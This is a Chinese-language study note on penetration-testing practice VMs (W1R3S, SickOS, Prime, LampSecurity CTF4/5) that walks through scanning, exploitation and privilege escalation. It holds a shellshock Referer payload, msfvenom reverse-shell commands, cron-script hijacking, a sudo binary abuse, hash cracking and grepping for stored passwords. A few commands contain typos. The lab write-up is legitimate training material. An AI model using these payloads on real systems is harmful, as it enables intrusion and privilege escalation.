Skip to main content

渗透思路笔记

红队笔记的个人空间-红队笔记个人主页

视频有一个系列,打的靶场,主要是学思路,还有扩展工具和漏洞

W1R3S

「红队笔记」学渗透必打百台靶机实操精讲-W1R3S

主机发现、端口扫描

nmap

「红队笔记」主机发现和端口扫描的基本原理和工具选择

官方命令手册

Chapter 15. Nmap Reference Guide | Nmap Network Scanning

Nmap中文手册 - Nmap中文网

nmap脚本 NSEDoc Reference Portal: NSE Categories — Nmap Scripting Engine documentation eg:

nmap --script=vuln

本次所用命令

sudo nmap --min-rate 10000 -p- 10.10.10.19 #端口扫描

sudo nmap -sT -sV -O -p22,3128,8080 10.10.10.19
#-sT tcp扫描,-sV版本扫描,-O系统扫描,-p指定端口,可以指定上一条扫描出的开放端口

sudo nmap -sU -p22,3128,8080 10.10.10.19
#-sU udp扫描

目录爆破

Dirble--nccgroup/dirble:快速目录扫描和抓取工具 (github.com)

DirBuster--kali自带

Dirb--kali自带

feroxbuster--kali自带

漏洞查询

SearchSploit--kali自带

hash碰撞

John--kali自带

jenkins

初步获得系统权限,获取主机信息

whoami      #当前用户
uname -a #系统信息

#ip信息
ip a
ifconfig

dpkg -l #Debian 软件包管理,查询安装软件

sudo -l #查看当前用户权限

cat /etc/passwd #查看各用户权限

Crontab提权

crontab提权 – 赛博网安wiki (allinsec.cn)

查看/etc/crontab下root用户的计划任务

cat /etc/crontab

cat /etc/cron.d

查看所执行的文件权限,若其他用户可写,则向该脚本文件中写入提权操作

SickOS

解法一:

wolfcms上传shell,通过配置文件,同密码登录,权限提升

解法二:

nikto --web扫描,扫出shellshock漏洞

sullo/nikto: Nikto web server scanner (github.com)

sudo nikto -h 10.10.19 -useproxy http://10.10.19:3128

通过3128的代理服务访问目标网站,验证shellshock漏洞

sudo curl -v --proxy http://10.10.10.19:3128 http://10.10.10.19/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"

msf生成payload反弹shell

sudo msfvenom -p cmd/unix/reverse_basj lhost=10.10.10.3 lport=443 -f raw

查看系统信息

whoami
uname -a
dpkg -l

知道系统信息为ubuntu,且安装了python,可以利用python起一个交互性更好的shell

pychon -c "import pty;pty.spawn('/bin/bash')"

查看文件connect.py,提示自动计划

cd /etc
ls -liah cron*

msf生成python反弹shell,插入connect.py,监听获得root权限shell

sudo msfvenor -p cmd/unix/reverse_python lhost=10.10.10.3 lport=444 -f raw

Prime

目录扫描

dirb

-X 指定类型,-o 将结果输出到文件内

dirb http://10.10.10.22 -X .txt,.php -o report/dirbphp.txt

模糊测试-获得正确参数,文件包含读取文件

wfuzz

-c 分色使得结果便于查看,-w 指定字典,-hc/hl/hw/hh 隐藏回显的 code/lines/words/chars

sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt -hc 404 http://website.com/secret.php?FUZZ=something

获得wordpress密码,登录wordpress后台getshell

wpscan -wordpress漏洞扫描器

一般思路是在插件zip文件上传,主题配置插入代码

提权

一:系统版本号较低,考虑内核提权

searchsloit Linux ubuntu 4.10.0-28
searchsloit Linux ubuntu 4.10.0-28 -m 45010

上传到靶机

ps: 由于linux内核原因,通常尝试在靶机上编译poc,如果无法编译可以在本机模拟靶机环境进行编译再上传

sudo php -S 0:80

内核提权比较暴力,虽然很快,但是很暴力,很容易导致系 统运行服务的中断,或者是不稳定;

导致之前的立足点失效或是管理员修复

二:openssl

「红队笔记」彻底搞懂OpenSSL解密渗透提权-超强思路版_哔哩哔哩_bilibili

ps:可以学到很多linux技巧

uname -a

当前用户存在可用root无密码执行的文件/home/saket/enc

运行发现需要密码,考虑查找备份文件来找密码

Linux find命令:在目录中查找文件(超详解) (biancheng.net)

sort排序,less分页查看文件(类似more)

find / -name '*backup*' 2>/dev/null | sort | less

Linux重定向(输入输出重定向)详解 (biancheng.net)

输入重定向中用到的符号及作用:

命令符号格式作用
命令 < 文件将指定文件作为命令的输入设备
命令 << 分界符表示从标准输入设备(键盘)中读入,直到遇到分界符才停止(读入的数据不包括分界符),这里的分界符其实就是自定义的字符串
命令 < 文件 1 > 文件 2将文件 1 作为命令的输入设备,该命令的执行结果输出到文件 2 中。

输出重定向用到的符号及作用:

命令符号格式作用
命令 > 文件将命令执行的标准输出结果重定向输出到指定的文件中,如果该文件已包含数据,会清空原有数据,再写入新数据。
命令 2> 文件将命令执行的错误输出结果重定向到指定的文件中,如果该文件中已包含数据,会清空原有数据,再写入新数据。
命令 >> 文件将命令执行的标准输出结果重定向输出到指定的文件中,如果该文件已包含数据,新数据将写入到原有内容的后面。
命令 2>> 文件将命令执行的错误输出结果重定向到指定的文件中,如果该文件中已包含数据,新数据将写入到原有内容的后面。
命令 >> 文件 2>&1 或者 命令 &>> 文件将标准输出或者错误输出写入到指定文件,如果该文件中已包含数据,新数据将写入到原有内容的后面。注意,第一种格式中,最后的 2>&1 是一体的,可以认为是固定写法。

输入密码获得两个文件,一个base64,一个要求将字符串转为md5

echo -n 不输出末尾的换行符,以输出正确的md5值(涉及到字节层面的操作都需要考虑换行符)

echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | od -A n -t x1

-A 指定

md5sum

计算检验MD5校验码,linux自带

od

用于将指定文件内容以八进制或其他格式显示,linux自带

tr

将字符进行替换压缩和删除

awk

Linux awk命令详解 (biancheng.net)

awk '匹配规则{执行命令}'

​ awk 命令选项以及含义

选项含义
-F fs指定以 fs 作为输入行的分隔符,awk 命令默认分隔符为空格或制表符。
-f file从脚本文件中读取 awk 脚本指令,以取代直接在命令行中输入指令。
-v var=val在执行处理过程之前,设置一个变量 var,并给其设备初始值为 val。

默认情况下,awk 会将如下变量分配给它在文本行中发现的数据字段:

  • $0 代表整个文本行;
  • $1 代表文本行中的第 1 个数据字段;
  • $2 代表文本行中的第 2 个数据字段;
  • $n 代表文本行中的第 n 个数据字段。
openssl

OpenSSL 中文手册 | OpenSSL 中文网

enc解密 enc_OpenSSL 中文手册

(由enc和key.txt推测为使用openssl)

echo 'xxxx' | openssl enc -d -a -CipherType -K xxx
-d:进行解密操作。
-a:当进行加解密时,它只对数据进行运算,有时需要进行base64转换。设置此选项后,加密结果进行base64编码;解密前先进行base64解码。
-K key:输入口令是16进制的。

接下来写个bash脚本跑for循环找到正确的CipherType

for Cipher in $(cat CipherType);do echo 'xxxx' | openssl enc -d -a -$Cipher -K xxx 2>/dev/null; echo $Cipher; done

遍历可知为aes-256-ecb

echo 'xxxx' | openssl enc -d -a -aes-256-ecb -K xxx

获得saket密码,登录后进行提权操作

python -c "import pty;pty.spawn('/bin/bash')"
whoami
sudo -l
sudo /home/victor/undefeated_victor

提示缺失/tmp/challenge,写一个然后提权

echo '#!/bin/bash' > /tmp/challenge
echo '/bin/bash' >> /tmp/challenge
chmod +x /temp/challenge
sudo /home/victor/undefeated_victor
whoami

LampSecurityCTF4

sudo nmap --min-rate 10000 -p- 10.10.10.19 #端口扫描

sudo nmap -sT -sV -O -p22,3128,8080 10.10.10.19
#-sT tcp扫描,-sV版本扫描,-O系统扫描,-p指定端口,可以指定上一条扫描出的开放端口

sudo nmap -sU -p22,3128,8080 10.10.10.19
#-sU udp扫描

开放了80,访问发现可尝试sql注入,sqlmap自动注入

注出账号密码,根据之前开放的端口信息22尝试ssh

sudo /bin/bash启动一个root权限的shell即可

(总结:工具不是重点,只是提高效率的辅助,漏洞原理和思路才是最重要的;并且一些工具存在特征码,很容易被拦截)

LampSecurityCTF5

Vulnhub靶机实操笔记-LampSecurity-CTF5-腾讯云开发者社区-腾讯云 (tencent.cn)

前期扫描

sudo nmap --min-rate 10000 -p- 10.10.10.23 -oA report/minrate ip

sudo nmap -sT -sV -O -p22,25,80,110,111,139,143,445,901,3306,54777 ip
#-sT tcp扫描,-sV版本扫描,-O系统扫描,-p指定端口,可以指定上一条扫描出的开放端口
#-sU udp扫描
sudo nmap --script=vuln -p22,25,80,110,111,139,143,445,901,3306,54777 ip

web渗透

依然从web网页入手,访问80端口,暴露系统为nanocms

查看是否存在相关漏洞

searchsploit nanocms

google搜索nanocms exploit发现存在信息泄露漏洞

'/data/pagesdata.txt' 密码哈希信息泄露漏洞

访问获得admin的密码哈希值,hashcat破解为shannon

sudo hashcat -m 0 -a 0 哈希值 字典路径

可以添加页面,写一个反弹shell

提权

利用敏感文件提权

grep命令快速搜索查找敏感文件

grep -R -i pass /home/* 2>/dev/null

获得关键信息Root password 50$cent,然后再起一个shell,输入密码即可

python -c "import pty;pty.spawn('/bin/sh')"
su -